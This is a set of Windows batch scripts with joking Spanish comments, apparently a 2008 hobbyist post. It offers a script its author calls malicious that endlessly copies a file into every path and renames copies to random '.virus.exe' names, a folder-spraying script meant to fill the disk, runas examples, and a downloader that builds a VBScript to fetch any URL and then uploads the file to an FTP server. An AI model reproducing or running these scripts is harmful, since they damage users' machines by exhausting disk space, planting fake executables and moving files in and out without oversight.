:: ejemplo 1:
:: este es inocuo lo único que hace es copiar un archivo de n lugar a otro
:: para que veas el concepto....

echo off
::
echo epale > epale.txt
echo ahora me copiare >> epale.txt
echo en todas tus variables  de entorno>> epale.txt
echo luego con el buscador de windows me buscas y me eliminas >> epale.txt

for /f " delims== tokens=1*" %%a in ('set') do set j=%%%%a%% && call :ini
::
:ini
for /f " delims== tokens=1*" %%a in ('echo %j%') do set k=%%a
copy epale.txt %k%
cls
goto :EOF


---------------------------------------------------------------------------------

:: ejemplo 2:
:: Este es malévolo copiara una cantidad de archivos por todos lados sin parar
:: Usar con precaución xD

:: debes cambiar la linea "copy... epale.txt" por el nombre del archivo que quieras
:: copiar por todos lados xD
:: ejemplo: archivo.xls en ves de epale.txt

echo off
:bucle
cls
for /f " delims== tokens=1*" %%a in ('set') do set j=%%%%a%% && call :ini
goto bucle
:ini
for /f " delims== tokens=1*" %%a in ('echo %j%') do set k=%%a
copy /y epale.txt %k% && ren %k%\epale.txt %Random%.virus.exe
cls
goto :EOF
:: también con un poco de imaginación puedes hacer otras cosillas
:: 

:: Es totalmente inocuo lo único que hace es escribir
:: el archivo epale por todos lados xD
:: le pudes agregar un bucle y un %Random%
:: de esa manera llenara el disco duro de el bendito archivo


:: Primero creamos un archivo en un directorio temporal
echo epale > %temp%\epale.txt

:: esperamos hasta q se cree el achivito
echo %errorlevel%>nul

:: luego este archivo lo asignamos a una variable con el nombre var
set var=%temp%\epale.txt

cd %HomeDrive%\

:: Y con el comado for listamos todas las carpetas q están en c:

FOR /D %%A IN (*) DO set p=\%%A && call :ini
:ini
set j=%HomeDrive%%p%
cd %j%
set y="%j%"
copy %var% %y%

:: luego listamos las carpetas de un nivel superior

FOR /D %%B IN (*) DO set f="%j%%%B" && copy %var% %f%   
cd %HomeDrive%\
goto :EOF

:: ejemplo 1

runas /user:administrator archivo.exe

:: ejemplo2
runas /user:administrator cmd


:: Luego te pedira que ingresas el password del usuario administrator y listo... XD

:: ummm con un simple echo off basta por ahora xD

@echo off
cls
echo.
set /p url=Ingrese direccion web a descargar :
if '%url%'=='' goto error
echo.
set /p name=Ingrese Nombre ejemplo (dragon.zip):
if '%name%'=='' goto error
if exist %name% goto fine
echo.
if exist "%temp%\dw.vbs" del "%temp%\dw.vbs" /f /q
ECHO Set aVar = CreateObject("Microsoft.XMLHTTP") > %temp%\dw.vbs
ECHO aVar.Open "GET","%url%",0 >> %temp%\dw.vbs
ECHO aVar.Send() >> %temp%\dw.vbs
ECHO Set sDow = CreateObject("ADODB.Stream") >> %temp%\dw.vbs
ECHO sDow.Mode = 3 >> %temp%\dw.vbs
ECHO sDow.Type = 1 >> %temp%\dw.vbs
ECHO sDow.Open() >> %temp%\dw.vbs
ECHO sDow.Write(aVar.responseBody) >> %temp%\dw.vbs
ECHO sDow.SaveToFile "%name%",2 >> %temp%\dw.vbs
call "%temp%\dw.vbs"
if '%errorlevel%'=='0' goto fine
goto error

:error
if exist "%temp%\dw.vbs" del "%temp%\dw.vbs" /f /q
echo.
echo.
echo ha ocurrido un error la descarga no puede continuar
echo.
echo.
echo presione una tecla para salir
pause >nul
exit
:fine
if exist "%temp%\dw.vbs" del "%temp%\dw.vbs" /f /q
echo.
echo.
echo La descarga ha finalizado con exito
echo.
echo.
echo presione una tecla para continuar
pause >nul
echo.
echo.
set /p url2=Ingrese direccion del servidor FTP :
if '%url2%'=='' goto error

set /p usr=Ingrese Nombre de usuario :
if '%usr%'=='' goto error

set /p pws=Ingrese password :
if '%pws%'=='' goto error
cls

ECHO.open %url2%>%TEMP%.\_FTP
ECHO.%usr%>>%TEMP%.\_FTP
ECHO.%pws%>>%TEMP%.\_FTP
ECHO.send %name% %name%>>%TEMP%.\_FTP
ECHO.quit>>%TEMP%.\_FTP
ftp -i -s:%TEMP%.\_FTP

del %TEMP%.\_FTP
ECHO. Ha finalizado la sección FTP
echo.
pause
GOTO EOF

:EOF {Fin--xD}
::   
:: (c) Copyright No_nick 2008 - all rights reserved (c)